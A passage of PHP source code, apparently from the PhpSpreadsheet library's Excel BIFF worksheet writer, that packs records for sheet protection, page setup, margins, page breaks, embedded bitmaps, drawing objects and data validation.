self::protectionBitsDefaultFalse($protection->getInsertColumns(), 5) | self::protectionBitsDefaultFalse($protection->getInsertRows(), 6) | self::protectionBitsDefaultFalse($protection->getInsertHyperlinks(), 7) | self::protectionBitsDefaultFalse($protection->getDeleteColumns(), 8) | self::protectionBitsDefaultFalse($protection->getDeleteRows(), 9) | self::protectionBitsDefaultTrue($protection->getSelectLockedCells(), 10) | self::protectionBitsDefaultFalse($protection->getSort(), 11) | self::protectionBitsDefaultFalse($protection->getAutoFilter(), 12) | self::protectionBitsDefaultFalse($protection->getPivotTables(), 13) | self::protectionBitsDefaultTrue($protection->getSelectUnlockedCells(), 14); // record data $recordData = pack( 'vVVCVVvv', 0x0867, // repeated record identifier 0x0000, // not used 0x0000, // not used 0x00, // not used 0x01000200, // unknown data 0xFFFFFFFF, // unknown data $options, // options 0x0000 // not used ); $length = strlen($recordData); $header = pack('vv', $record, $length); $this->append($header . $recordData); } /** * Write BIFF record RANGEPROTECTION. * * Openoffice.org's Documentation of the Microsoft Excel File Format uses term RANGEPROTECTION for these records * Microsoft Office Excel 97-2007 Binary File Format Specification uses term FEAT for these records */ private function writeRangeProtection(): void { foreach ($this->phpSheet->getProtectedCellRanges() as $range => $protectedCells) { $password = $protectedCells->getPassword(); // number of ranges, e.g. 'A1:B3 C20:D25' $cellRanges = explode(' ', $range); $cref = count($cellRanges); $recordData = pack( 'vvVVvCVvVv', 0x0868, 0x00, 0x0000, 0x0000, 0x02, 0x0, 0x0000, $cref, 0x0000, 0x00 ); foreach ($cellRanges as $cellRange) { $recordData .= $this->writeBIFF8CellRangeAddressFixed($cellRange); } // the rgbFeat structure $recordData .= pack( 'VV', 0x0000, hexdec($password) ); $recordData .= StringHelper::UTF8toBIFF8UnicodeLong('p' . md5($recordData)); $length = strlen($recordData); $record = 0x0868; // Record identifier $header = pack('vv', $record, $length); $this->append($header . $recordData); } } /** * Writes the Excel BIFF PANE record. * The panes can either be frozen or thawed (unfrozen). * Frozen panes are specified in terms of an integer number of rows and columns. * Thawed panes are specified in terms of Excel's units for rows and columns. */ private function writePanes(): void { if (!$this->phpSheet->getFreezePane()) { // thaw panes return; } [$column, $row] = Coordinate::indexesFromString($this->phpSheet->getFreezePane()); $x = $column - 1; $y = $row - 1; [$leftMostColumn, $topRow] = Coordinate::indexesFromString($this->phpSheet->getTopLeftCell() ?? ''); //Coordinates are zero-based in xls files $rwTop = $topRow - 1; $colLeft = $leftMostColumn - 1; $record = 0x0041; // Record identifier $length = 0x000A; // Number of bytes to follow // Determine which pane should be active. There is also the undocumented // option to override this should it be necessary: may be removed later. $pnnAct = 0; if ($x != 0 && $y != 0) { $pnnAct = 0; // Bottom right } if ($x != 0 && $y == 0) { $pnnAct = 1; // Top right } if ($x == 0 && $y != 0) { $pnnAct = 2; // Bottom left } if ($x == 0 && $y == 0) { $pnnAct = 3; // Top left } $this->activePane = $pnnAct; // Used in writeSelection $header = pack('vv', $record, $length); $data = pack('vvvvv', $x, $y, $rwTop, $colLeft, $pnnAct); $this->append($header . $data); } /** * Store the page setup SETUP BIFF record. */ private function writeSetup(): void { $record = 0x00A1; // Record identifier $length = 0x0022; // Number of bytes to follow $iPaperSize = $this->phpSheet->getPageSetup()->getPaperSize(); // Paper size $iScale = $this->phpSheet->getPageSetup()->getScale() ?: 100; // Print scaling factor $iPageStart = 0x01; // Starting page number $iFitWidth = (int) $this->phpSheet->getPageSetup()->getFitToWidth(); // Fit to number of pages wide $iFitHeight = (int) $this->phpSheet->getPageSetup()->getFitToHeight(); // Fit to number of pages high $iRes = 0x0258; // Print resolution $iVRes = 0x0258; // Vertical print resolution $numHdr = $this->phpSheet->getPageMargins()->getHeader(); // Header Margin $numFtr = $this->phpSheet->getPageMargins()->getFooter(); // Footer Margin $iCopies = 0x01; // Number of copies // Order of printing pages $fLeftToRight = $this->phpSheet->getPageSetup()->getPageOrder() === PageSetup::PAGEORDER_DOWN_THEN_OVER ? 0x0 : 0x1; // Page orientation $fLandscape = ($this->phpSheet->getPageSetup()->getOrientation() == PageSetup::ORIENTATION_LANDSCAPE) ? 0x0 : 0x1; $fNoPls = 0x0; // Setup not read from printer $fNoColor = 0x0; // Print black and white $fDraft = 0x0; // Print draft quality $fNotes = 0x0; // Print notes $fNoOrient = 0x0; // Orientation not set $fUsePage = 0x0; // Use custom starting page $grbit = $fLeftToRight; $grbit |= $fLandscape << 1; $grbit |= $fNoPls << 2; $grbit |= $fNoColor << 3; $grbit |= $fDraft << 4; $grbit |= $fNotes << 5; $grbit |= $fNoOrient << 6; $grbit |= $fUsePage << 7; $numHdr = pack('d', $numHdr); $numFtr = pack('d', $numFtr); if (self::getByteOrder()) { // if it's Big Endian $numHdr = strrev($numHdr); $numFtr = strrev($numFtr); } $header = pack('vv', $record, $length); $data1 = pack('vvvvvvvv', $iPaperSize, $iScale, $iPageStart, $iFitWidth, $iFitHeight, $grbit, $iRes, $iVRes); $data2 = $numHdr . $numFtr; $data3 = pack('v', $iCopies); $this->append($header . $data1 . $data2 . $data3); } /** * Store the header caption BIFF record. */ private function writeHeader(): void { $record = 0x0014; // Record identifier /* removing for now // need to fix character count (multibyte!) if (strlen($this->phpSheet->getHeaderFooter()->getOddHeader()) <= 255) { $str = $this->phpSheet->getHeaderFooter()->getOddHeader(); // header string } else { $str = ''; } */ $recordData = StringHelper::UTF8toBIFF8UnicodeLong($this->phpSheet->getHeaderFooter()->getOddHeader()); $length = strlen($recordData); $header = pack('vv', $record, $length); $this->append($header . $recordData); } /** * Store the footer caption BIFF record. */ private function writeFooter(): void { $record = 0x0015; // Record identifier /* removing for now // need to fix character count (multibyte!) if (strlen($this->phpSheet->getHeaderFooter()->getOddFooter()) <= 255) { $str = $this->phpSheet->getHeaderFooter()->getOddFooter(); } else { $str = ''; } */ $recordData = StringHelper::UTF8toBIFF8UnicodeLong($this->phpSheet->getHeaderFooter()->getOddFooter()); $length = strlen($recordData); $header = pack('vv', $record, $length); $this->append($header . $recordData); } /** * Store the horizontal centering HCENTER BIFF record. */ private function writeHcenter(): void { $record = 0x0083; // Record identifier $length = 0x0002; // Bytes to follow $fHCenter = $this->phpSheet->getPageSetup()->getHorizontalCentered() ? 1 : 0; // Horizontal centering $header = pack('vv', $record, $length); $data = pack('v', $fHCenter); $this->append($header . $data); } /** * Store the vertical centering VCENTER BIFF record. */ private function writeVcenter(): void { $record = 0x0084; // Record identifier $length = 0x0002; // Bytes to follow $fVCenter = $this->phpSheet->getPageSetup()->getVerticalCentered() ? 1 : 0; // Horizontal centering $header = pack('vv', $record, $length); $data = pack('v', $fVCenter); $this->append($header . $data); } /** * Store the LEFTMARGIN BIFF record. */ private function writeMarginLeft(): void { $record = 0x0026; // Record identifier $length = 0x0008; // Bytes to follow $margin = $this->phpSheet->getPageMargins()->getLeft(); // Margin in inches $header = pack('vv', $record, $length); $data = pack('d', $margin); if (self::getByteOrder()) { // if it's Big Endian $data = strrev($data); } $this->append($header . $data); } /** * Store the RIGHTMARGIN BIFF record. */ private function writeMarginRight(): void { $record = 0x0027; // Record identifier $length = 0x0008; // Bytes to follow $margin = $this->phpSheet->getPageMargins()->getRight(); // Margin in inches $header = pack('vv', $record, $length); $data = pack('d', $margin); if (self::getByteOrder()) { // if it's Big Endian $data = strrev($data); } $this->append($header . $data); } /** * Store the TOPMARGIN BIFF record. */ private function writeMarginTop(): void { $record = 0x0028; // Record identifier $length = 0x0008; // Bytes to follow $margin = $this->phpSheet->getPageMargins()->getTop(); // Margin in inches $header = pack('vv', $record, $length); $data = pack('d', $margin); if (self::getByteOrder()) { // if it's Big Endian $data = strrev($data); } $this->append($header . $data); } /** * Store the BOTTOMMARGIN BIFF record. */ private function writeMarginBottom(): void { $record = 0x0029; // Record identifier $length = 0x0008; // Bytes to follow $margin = $this->phpSheet->getPageMargins()->getBottom(); // Margin in inches $header = pack('vv', $record, $length); $data = pack('d', $margin); if (self::getByteOrder()) { // if it's Big Endian $data = strrev($data); } $this->append($header . $data); } /** * Write the PRINTHEADERS BIFF record. */ private function writePrintHeaders(): void { $record = 0x002A; // Record identifier $length = 0x0002; // Bytes to follow $fPrintRwCol = $this->printHeaders; // Boolean flag $header = pack('vv', $record, $length); $data = pack('v', $fPrintRwCol); $this->append($header . $data); } /** * Write the PRINTGRIDLINES BIFF record. Must be used in conjunction with the * GRIDSET record. */ private function writePrintGridlines(): void { $record = 0x002B; // Record identifier $length = 0x0002; // Bytes to follow $fPrintGrid = $this->phpSheet->getPrintGridlines() ? 1 : 0; // Boolean flag $header = pack('vv', $record, $length); $data = pack('v', $fPrintGrid); $this->append($header . $data); } /** * Write the GRIDSET BIFF record. Must be used in conjunction with the * PRINTGRIDLINES record. */ private function writeGridset(): void { $record = 0x0082; // Record identifier $length = 0x0002; // Bytes to follow $fGridSet = !$this->phpSheet->getPrintGridlines(); // Boolean flag $header = pack('vv', $record, $length); $data = pack('v', $fGridSet); $this->append($header . $data); } /** * Write the AUTOFILTERINFO BIFF record. This is used to configure the number of autofilter select used in the sheet. */ private function writeAutoFilterInfo(): void { $record = 0x009D; // Record identifier $length = 0x0002; // Bytes to follow $rangeBounds = Coordinate::rangeBoundaries($this->phpSheet->getAutoFilter()->getRange()); $iNumFilters = 1 + $rangeBounds[1][0] - $rangeBounds[0][0]; $header = pack('vv', $record, $length); $data = pack('v', $iNumFilters); $this->append($header . $data); } /** * Write the GUTS BIFF record. This is used to configure the gutter margins * where Excel outline symbols are displayed. The visibility of the gutters is * controlled by a flag in WSBOOL. * * @see writeWsbool() */ private function writeGuts(): void { $record = 0x0080; // Record identifier $length = 0x0008; // Bytes to follow $dxRwGut = 0x0000; // Size of row gutter $dxColGut = 0x0000; // Size of col gutter // determine maximum row outline level $maxRowOutlineLevel = 0; foreach ($this->phpSheet->getRowDimensions() as $rowDimension) { $maxRowOutlineLevel = max($maxRowOutlineLevel, $rowDimension->getOutlineLevel()); } $col_level = 0; // Calculate the maximum column outline level. The equivalent calculation // for the row outline level is carried out in writeRow(). $colcount = count($this->columnInfo); for ($i = 0; $i < $colcount; ++$i) { $col_level = max($this->columnInfo[$i][5], $col_level); } // Set the limits for the outline levels (0 <= x <= 7). $col_level = max(0, min($col_level, 7)); // The displayed level is one greater than the max outline levels if ($maxRowOutlineLevel) { ++$maxRowOutlineLevel; } if ($col_level) { ++$col_level; } $header = pack('vv', $record, $length); $data = pack('vvvv', $dxRwGut, $dxColGut, $maxRowOutlineLevel, $col_level); $this->append($header . $data); } /** * Write the WSBOOL BIFF record, mainly for fit-to-page. Used in conjunction * with the SETUP record. */ private function writeWsbool(): void { $record = 0x0081; // Record identifier $length = 0x0002; // Bytes to follow $grbit = 0x0000; // The only option that is of interest is the flag for fit to page. So we // set all the options in one go. // // Set the option flags $grbit |= 0x0001; // Auto page breaks visible if ($this->outlineStyle) { $grbit |= 0x0020; // Auto outline styles } if ($this->phpSheet->getShowSummaryBelow()) { $grbit |= 0x0040; // Outline summary below } if ($this->phpSheet->getShowSummaryRight()) { $grbit |= 0x0080; // Outline summary right } if ($this->phpSheet->getPageSetup()->getFitToPage()) { $grbit |= 0x0100; // Page setup fit to page } if ($this->outlineOn) { $grbit |= 0x0400; // Outline symbols displayed } $header = pack('vv', $record, $length); $data = pack('v', $grbit); $this->append($header . $data); } /** * Write the HORIZONTALPAGEBREAKS and VERTICALPAGEBREAKS BIFF records. */ private function writeBreaks(): void { // initialize $vbreaks = []; $hbreaks = []; foreach ($this->phpSheet->getRowBreaks() as $cell => $break) { // Fetch coordinates $coordinates = Coordinate::coordinateFromString($cell); $hbreaks[] = $coordinates[1]; } foreach ($this->phpSheet->getColumnBreaks() as $cell => $break) { // Fetch coordinates $coordinates = Coordinate::indexesFromString($cell); $vbreaks[] = $coordinates[0] - 1; } //horizontal page breaks if (!empty($hbreaks)) { // Sort and filter array of page breaks sort($hbreaks, SORT_NUMERIC); if ($hbreaks[0] == 0) { // don't use first break if it's 0 array_shift($hbreaks); } $record = 0x001B; // Record identifier $cbrk = count($hbreaks); // Number of page breaks $length = 2 + 6 * $cbrk; // Bytes to follow $header = pack('vv', $record, $length); $data = pack('v', $cbrk); // Append each page break foreach ($hbreaks as $hbreak) { $data .= pack('vvv', $hbreak, 0x0000, 0x00FF); } $this->append($header . $data); } // vertical page breaks if (!empty($vbreaks)) { // 1000 vertical pagebreaks appears to be an internal Excel 5 limit. // It is slightly higher in Excel 97/200, approx. 1026 $vbreaks = array_slice($vbreaks, 0, 1000); // Sort and filter array of page breaks sort($vbreaks, SORT_NUMERIC); if ($vbreaks[0] == 0) { // don't use first break if it's 0 array_shift($vbreaks); } $record = 0x001A; // Record identifier $cbrk = count($vbreaks); // Number of page breaks $length = 2 + 6 * $cbrk; // Bytes to follow $header = pack('vv', $record, $length); $data = pack('v', $cbrk); // Append each page break foreach ($vbreaks as $vbreak) { $data .= pack('vvv', $vbreak, 0x0000, 0xFFFF); } $this->append($header . $data); } } /** * Set the Biff PROTECT record to indicate that the worksheet is protected. */ private function writeProtect(): void { // Exit unless sheet protection has been specified if ($this->phpSheet->getProtection()->getSheet() !== true) { return; } $record = 0x0012; // Record identifier $length = 0x0002; // Bytes to follow $fLock = 1; // Worksheet is protected $header = pack('vv', $record, $length); $data = pack('v', $fLock); $this->append($header . $data); } /** * Write SCENPROTECT. */ private function writeScenProtect(): void { // Exit if sheet protection is not active if ($this->phpSheet->getProtection()->getSheet() !== true) { return; } // Exit if scenarios are not protected if ($this->phpSheet->getProtection()->getScenarios() !== true) { return; } $record = 0x00DD; // Record identifier $length = 0x0002; // Bytes to follow $header = pack('vv', $record, $length); $data = pack('v', 1); $this->append($header . $data); } /** * Write OBJECTPROTECT. */ private function writeObjectProtect(): void { // Exit if sheet protection is not active if ($this->phpSheet->getProtection()->getSheet() !== true) { return; } // Exit if objects are not protected if ($this->phpSheet->getProtection()->getObjects() !== true) { return; } $record = 0x0063; // Record identifier $length = 0x0002; // Bytes to follow $header = pack('vv', $record, $length); $data = pack('v', 1); $this->append($header . $data); } /** * Write the worksheet PASSWORD record. */ private function writePassword(): void { // Exit unless sheet protection and password have been specified if ($this->phpSheet->getProtection()->getSheet() !== true || !$this->phpSheet->getProtection()->getPassword() || $this->phpSheet->getProtection()->getAlgorithm() !== '') { return; } $record = 0x0013; // Record identifier $length = 0x0002; // Bytes to follow $wPassword = hexdec($this->phpSheet->getProtection()->getPassword()); // Encoded password $header = pack('vv', $record, $length); $data = pack('v', $wPassword); $this->append($header . $data); } /** * Insert a 24bit bitmap image in a worksheet. * * @param int $row The row we are going to insert the bitmap into * @param int $col The column we are going to insert the bitmap into * @param GdImage|string $bitmap The bitmap filename or GD-image resource * @param int $x the horizontal position (offset) of the image inside the cell * @param int $y the vertical position (offset) of the image inside the cell * @param float $scale_x The horizontal scale * @param float $scale_y The vertical scale */ public function insertBitmap(int $row, int $col, GdImage|string $bitmap, int $x = 0, int $y = 0, float $scale_x = 1, float $scale_y = 1): void { $bitmap_array = $bitmap instanceof GdImage ? $this->processBitmapGd($bitmap) : $this->processBitmap($bitmap); [$width, $height, $size, $data] = $bitmap_array; // Scale the frame of the image. $width *= $scale_x; $height *= $scale_y; // Calculate the vertices of the image and write the OBJ record $this->positionImage($col, $row, $x, $y, (int) $width, (int) $height); // Write the IMDATA record to store the bitmap data $record = 0x007F; $length = 8 + $size; $cf = 0x09; $env = 0x01; $lcb = $size; $header = pack('vvvvV', $record, $length, $cf, $env, $lcb); $this->append($header . $data); } /** * Calculate the vertices that define the position of the image as required by * the OBJ record. * * +------------+------------+ * | A | B | * +-----+------------+------------+ * | |(x1,y1) | | * | 1 |(A1)._______|______ | * | | | | | * | | | | | * +-----+----| BITMAP |-----+ * | | | | | * | 2 | |______________. | * | | | (B2)| * | | | (x2,y2)| * +---- +------------+------------+ * * Example of a bitmap that covers some of the area from cell A1 to cell B2. * * Based on the width and height of the bitmap we need to calculate 8 vars: * $col_start, $row_start, $col_end, $row_end, $x1, $y1, $x2, $y2. * The width and height of the cells are also variable and have to be taken into * account. * The values of $col_start and $row_start are passed in from the calling * function. The values of $col_end and $row_end are calculated by subtracting * the width and height of the bitmap from the width and height of the * underlying cells. * The vertices are expressed as a percentage of the underlying cell width as * follows (rhs values are in pixels): * * x1 = X / W *1024 * y1 = Y / H *256 * x2 = (X-1) / W *1024 * y2 = (Y-1) / H *256 * * Where: X is distance from the left side of the underlying cell * Y is distance from the top of the underlying cell * W is the width of the cell * H is the height of the cell * The SDK incorrectly states that the height should be expressed as a * percentage of 1024. * * @param int $col_start Col containing upper left corner of object * @param int $row_start Row containing top left corner of object * @param int $x1 Distance to left side of object * @param int $y1 Distance to top of object * @param int $width Width of image frame * @param int $height Height of image frame */ public function positionImage(int $col_start, int $row_start, int $x1, int $y1, int $width, int $height): void { // Initialise end cell to the same as the start cell $col_end = $col_start; // Col containing lower right corner of object $row_end = $row_start; // Row containing bottom right corner of object // Zero the specified offset if greater than the cell dimensions if ($x1 >= Xls::sizeCol($this->phpSheet, Coordinate::stringFromColumnIndex($col_start + 1))) { $x1 = 0; } if ($y1 >= Xls::sizeRow($this->phpSheet, $row_start + 1)) { $y1 = 0; } $width = $width + $x1 - 1; $height = $height + $y1 - 1; // Subtract the underlying cell widths to find the end cell of the image while ($width >= Xls::sizeCol($this->phpSheet, Coordinate::stringFromColumnIndex($col_end + 1))) { $width -= Xls::sizeCol($this->phpSheet, Coordinate::stringFromColumnIndex($col_end + 1)); ++$col_end; } // Subtract the underlying cell heights to find the end cell of the image while ($height >= Xls::sizeRow($this->phpSheet, $row_end + 1)) { $height -= Xls::sizeRow($this->phpSheet, $row_end + 1); ++$row_end; } // Bitmap isn't allowed to start or finish in a hidden cell, i.e. a cell // with zero eight or width. // if (Xls::sizeCol($this->phpSheet, Coordinate::stringFromColumnIndex($col_start + 1)) == 0) { return; } if (Xls::sizeCol($this->phpSheet, Coordinate::stringFromColumnIndex($col_end + 1)) == 0) { return; } if (Xls::sizeRow($this->phpSheet, $row_start + 1) == 0) { return; } if (Xls::sizeRow($this->phpSheet, $row_end + 1) == 0) { return; } // Convert the pixel values to the percentage value expected by Excel $x1 = $x1 / Xls::sizeCol($this->phpSheet, Coordinate::stringFromColumnIndex($col_start + 1)) * 1024; $y1 = $y1 / Xls::sizeRow($this->phpSheet, $row_start + 1) * 256; $x2 = $width / Xls::sizeCol($this->phpSheet, Coordinate::stringFromColumnIndex($col_end + 1)) * 1024; // Distance to right side of object $y2 = $height / Xls::sizeRow($this->phpSheet, $row_end + 1) * 256; // Distance to bottom of object $this->writeObjPicture($col_start, $x1, $row_start, $y1, $col_end, $x2, $row_end, $y2); } /** * Store the OBJ record that precedes an IMDATA record. This could be generalise * to support other Excel objects. * * @param int $colL Column containing upper left corner of object * @param int $dxL Distance from left side of cell * @param int $rwT Row containing top left corner of object * @param float|int $dyT Distance from top of cell * @param int $colR Column containing lower right corner of object * @param int $dxR Distance from right of cell * @param int $rwB Row containing bottom right corner of object * @param int $dyB Distance from bottom of cell */ private function writeObjPicture(int $colL, int $dxL, int $rwT, int|float $dyT, int $colR, int $dxR, int $rwB, int $dyB): void { $record = 0x005D; // Record identifier $length = 0x003C; // Bytes to follow $cObj = 0x0001; // Count of objects in file (set to 1) $OT = 0x0008; // Object type. 8 = Picture $id = 0x0001; // Object ID $grbit = 0x0614; // Option flags $cbMacro = 0x0000; // Length of FMLA structure $Reserved1 = 0x0000; // Reserved $Reserved2 = 0x0000; // Reserved $icvBack = 0x09; // Background colour $icvFore = 0x09; // Foreground colour $fls = 0x00; // Fill pattern $fAuto = 0x00; // Automatic fill $icv = 0x08; // Line colour $lns = 0xFF; // Line style $lnw = 0x01; // Line weight $fAutoB = 0x00; // Automatic border $frs = 0x0000; // Frame style $cf = 0x0009; // Image format, 9 = bitmap $Reserved3 = 0x0000; // Reserved $cbPictFmla = 0x0000; // Length of FMLA structure $Reserved4 = 0x0000; // Reserved $grbit2 = 0x0001; // Option flags $Reserved5 = 0x0000; // Reserved $header = pack('vv', $record, $length); $data = pack('V', $cObj); $data .= pack('v', $OT); $data .= pack('v', $id); $data .= pack('v', $grbit); $data .= pack('v', $colL); $data .= pack('v', $dxL); $data .= pack('v', $rwT); $data .= pack('v', $dyT); $data .= pack('v', $colR); $data .= pack('v', $dxR); $data .= pack('v', $rwB); $data .= pack('v', $dyB); $data .= pack('v', $cbMacro); $data .= pack('V', $Reserved1); $data .= pack('v', $Reserved2); $data .= pack('C', $icvBack); $data .= pack('C', $icvFore); $data .= pack('C', $fls); $data .= pack('C', $fAuto); $data .= pack('C', $icv); $data .= pack('C', $lns); $data .= pack('C', $lnw); $data .= pack('C', $fAutoB); $data .= pack('v', $frs); $data .= pack('V', $cf); $data .= pack('v', $Reserved3); $data .= pack('v', $cbPictFmla); $data .= pack('v', $Reserved4); $data .= pack('v', $grbit2); $data .= pack('V', $Reserved5); $this->append($header . $data); } /** * Convert a GD-image into the internal format. * * @param GdImage $image The image to process * * @return array Array with data and properties of the bitmap */ public function processBitmapGd(GdImage $image): array { $width = imagesx($image); $height = imagesy($image); $data = pack('Vvvvv', 0x000C, $width, $height, 0x01, 0x18); for ($j = $height; --$j;) { for ($i = 0; $i < $width; ++$i) { /** @phpstan-ignore-next-line */ $color = imagecolorsforindex($image, imagecolorat($image, $i, $j)); if ($color !== false) { foreach (['red', 'green', 'blue'] as $key) { $color[$key] = $color[$key] + (int) round((255 - $color[$key]) * $color['alpha'] / 127); } $data .= chr($color['blue']) . chr($color['green']) . chr($color['red']); } } if (3 * $width % 4) { $data .= str_repeat("\x00", 4 - 3 * $width % 4); } } return [$width, $height, strlen($data), $data]; } /** * Convert a 24 bit bitmap into the modified internal format used by Windows. * This is described in BITMAPCOREHEADER and BITMAPCOREINFO structures in the * MSDN library. * * @param string $bitmap The bitmap to process * * @return array Array with data and properties of the bitmap */ public function processBitmap(string $bitmap): array { // Open file. $bmp_fd = @fopen($bitmap, 'rb'); if ($bmp_fd === false) { throw new WriterException("Couldn't import $bitmap"); } // Slurp the file into a string. $data = (string) fread($bmp_fd, (int) filesize($bitmap)); // Check that the file is big enough to be a bitmap. if (strlen($data) <= 0x36) { throw new WriterException("$bitmap doesn't contain enough data.\n"); } // The first 2 bytes are used to identify the bitmap. $identity = unpack('A2ident', $data); if ($identity === false || $identity['ident'] != 'BM') { throw new WriterException("$bitmap doesn't appear to be a valid bitmap image.\n"); } // Remove bitmap data: ID. $data = substr($data, 2); // Read and remove the bitmap size. This is more reliable than reading // the data size at offset 0x22. // $size_array = unpack('Vsa', substr($data, 0, 4)) ?: []; $size = $size_array['sa']; $data = substr($data, 4); $size -= 0x36; // Subtract size of bitmap header. $size += 0x0C; // Add size of BIFF header. // Remove bitmap data: reserved, offset, header length. $data = substr($data, 12); // Read and remove the bitmap width and height. Verify the sizes. $width_and_height = unpack('V2', substr($data, 0, 8)) ?: []; $width = $width_and_height[1]; $height = $width_and_height[2]; $data = substr($data, 8); if ($width > 0xFFFF) { throw new WriterException("$bitmap: largest image width supported is 65k.\n"); } if ($height > 0xFFFF) { throw new WriterException("$bitmap: largest image height supported is 65k.\n"); } // Read and remove the bitmap planes and bpp data. Verify them. $planes_and_bitcount = unpack('v2', substr($data, 0, 4)); $data = substr($data, 4); if ($planes_and_bitcount === false || $planes_and_bitcount[2] != 24) { // Bitcount throw new WriterException("$bitmap isn't a 24bit true color bitmap.\n"); } if ($planes_and_bitcount[1] != 1) { throw new WriterException("$bitmap: only 1 plane supported in bitmap image.\n"); } // Read and remove the bitmap compression. Verify compression. $compression = unpack('Vcomp', substr($data, 0, 4)); $data = substr($data, 4); if ($compression === false || $compression['comp'] != 0) { throw new WriterException("$bitmap: compression not supported in bitmap image.\n"); } // Remove bitmap data: data size, hres, vres, colours, imp. colours. $data = substr($data, 20); // Add the BITMAPCOREHEADER data $header = pack('Vvvvv', 0x000C, $width, $height, 0x01, 0x18); $data = $header . $data; return [$width, $height, $size, $data]; } /** * Store the window zoom factor. This should be a reduced fraction but for * simplicity we will store all fractions with a numerator of 100. */ private function writeZoom(): void { // If scale is 100 we don't need to write a record if ($this->phpSheet->getSheetView()->getZoomScale() == 100) { return; } $record = 0x00A0; // Record identifier $length = 0x0004; // Bytes to follow $header = pack('vv', $record, $length); $data = pack('vv', $this->phpSheet->getSheetView()->getZoomScale(), 100); $this->append($header . $data); } /** * Get Escher object. */ public function getEscher(): ?\PhpOffice\PhpSpreadsheet\Shared\Escher { return $this->escher; } /** * Set Escher object. */ public function setEscher(?\PhpOffice\PhpSpreadsheet\Shared\Escher $escher): void { $this->escher = $escher; } /** * Write MSODRAWING record. */ private function writeMsoDrawing(): void { // write the Escher stream if necessary if (isset($this->escher)) { $writer = new Escher($this->escher); $data = $writer->close(); $spOffsets = $writer->getSpOffsets(); $spTypes = $writer->getSpTypes(); // write the neccesary MSODRAWING, OBJ records // split the Escher stream $spOffsets[0] = 0; $nm = count($spOffsets) - 1; // number of shapes excluding first shape for ($i = 1; $i <= $nm; ++$i) { // MSODRAWING record $record = 0x00EC; // Record identifier // chunk of Escher stream for one shape $dataChunk = substr($data, $spOffsets[$i - 1], $spOffsets[$i] - $spOffsets[$i - 1]); $length = strlen($dataChunk); $header = pack('vv', $record, $length); $this->append($header . $dataChunk); // OBJ record $record = 0x005D; // record identifier $objData = ''; // ftCmo if ($spTypes[$i] == 0x00C9) { // Add ftCmo (common object data) subobject $objData .= pack( 'vvvvvVVV', 0x0015, // 0x0015 = ftCmo 0x0012, // length of ftCmo data 0x0014, // object type, 0x0014 = filter $i, // object id number, Excel seems to use 1-based index, local for the sheet 0x2101, // option flags, 0x2001 is what OpenOffice.org uses 0, // reserved 0, // reserved 0 // reserved ); // Add ftSbs Scroll bar subobject $objData .= pack('vv', 0x00C, 0x0014); $objData .= pack('H*', '0000000000000000640001000A00000010000100'); // Add ftLbsData (List box data) subobject $objData .= pack('vv', 0x0013, 0x1FEE); $objData .= pack('H*', '00000000010001030000020008005700'); } else { // Add ftCmo (common object data) subobject $objData .= pack( 'vvvvvVVV', 0x0015, // 0x0015 = ftCmo 0x0012, // length of ftCmo data 0x0008, // object type, 0x0008 = picture $i, // object id number, Excel seems to use 1-based index, local for the sheet 0x6011, // option flags, 0x6011 is what OpenOffice.org uses 0, // reserved 0, // reserved 0 // reserved ); } // ftEnd $objData .= pack( 'vv', 0x0000, // 0x0000 = ftEnd 0x0000 // length of ftEnd data ); $length = strlen($objData); $header = pack('vv', $record, $length); $this->append($header . $objData); } } } /** * Store the DATAVALIDATIONS and DATAVALIDATION records. */ private function writeDataValidity(): void { // Datavalidation collection $dataValidationCollection = $this->phpSheet->getDataValidationCollection(); // Write data validations? if (!empty($dataValidationCollection)) { // DATAVALIDATIONS record $record = 0x01B2; // Record identifier $length = 0x0012; // Bytes to follow $grbit = 0x0000; // Prompt box at cell, no cached validity data at DV records $horPos = 0x00000000; // Horizontal position of prompt box, if fixed position $verPos = 0x00000000; // Vertical position of prompt box, if fixed position $objId = 0xFFFFFFFF; // Object identifier of drop down arrow object, or -1 if not visible $header = pack('vv', $record, $length); $data = pack('vVVVV', $grbit, $horPos, $verPos, $objId, count($dataValidationCollection)); $this->append($header . $data); // DATAVALIDATION records $record = 0x01BE; // Record identifier foreach ($dataValidationCollection as $cellCoordinate => $dataValidation) { // options $options = 0x00000000; // data type $type = CellDataValidation::type($dataValidation); $options |= $type << 0; // error style $errorStyle = CellDataValidation::errorStyle($dataValidation); $options |= $errorStyle << 4; // explicit formula? if ($type == 0x03 && preg_match('/^\".*\"$/', $dataValidation->getFormula1())) { $options |= 0x01 << 7; } // empty cells allowed $options |= $dataValidation->getAllowBlank() << 8; // show drop down $options |= (!$dataValidation->getShowDropDown()) << 9; // show input message $options |= $dataValidation->getShowInputMessage() << 18; // show error message $options |= $dataValidation->getShowErrorMessage() << 19; // condition operator $operator = CellDataValidation::operator($dataValidation); $options |= $operator << 20; $data = pack('V', $options); // prompt title $promptTitle = $dataValidation->getPromptTitle() !== '' ? $dataValidation->getPromptTitle() : chr(0); $data .= StringHelper::UTF8toBIFF8UnicodeLong($promptTitle); // error title $errorTitle = $dataValidation->getErrorTitle() !== '' ? $dataValidation->getErrorTitle() : chr(0); $data .= StringHelper::UTF8toBIFF8UnicodeLong($errorTitle); // prompt text $prompt = $dataValidation->getPrompt() !== '' ? $dataValidation->getPrompt() : chr(0); $data .= StringHelper::UTF8toBIFF8UnicodeLong($prompt); // error text $error = $dataValidation->getError() !== '' ? $dataValidation->getError() : chr(0); $data .= StringHelper::UTF8toBIFF8UnicodeLong($error); // formula 1 try { $formula1 = $dataValidation->getFormula1(); if ($type == 0x03) { // list type $formula1 = str_replace(',', chr(0), $formula1); } $this->parser->parse($formula1); $formula1 = $this->parser->toReversePolish(); $sz1 = strlen($formula1); } catch (PhpSpreadsheetException $e) { $sz1 = 0; $formula1 = ''; } $data .= pack('vv', $sz1, 0x0000); $data .= $formula1; // formula 2 try { $formula2 = $dataValidation->getFormula2(); if ($formula2 === '') { throw new WriterException('No formula2'); } $this->parser->parse($formula2); $formula2 = $this->parser->toReversePolish(); $sz2 = strlen($formula2); } catch (PhpSpreadsheetException) { $sz2 = 0; $formula2 = ''; } $data .= pack('vv', $sz2, 0x0000); $data .= $formula2; // cell range address list $data .= pack('v', 0x0001); $data .= $this->writeBIFF8CellRangeAddressFixed($cellCoordinate); $length = strlen($data); $header = pack('vv', $record, $length); $this->append($header . $data); } } } /** * Write PLV Record. */ private function writePageLayoutView(): void { $record = 0x088B; // Record identifier $length = 0x0010; // Bytes to follow $rt = 0x088B; // 2 $grbitFrt = 0x0000; // 2 //$reserved = 0x0000000000000000; // 8 $wScalvePLV = $this->phpSheet->getSheetView()->getZoomScale(); // 2 // The options flags that 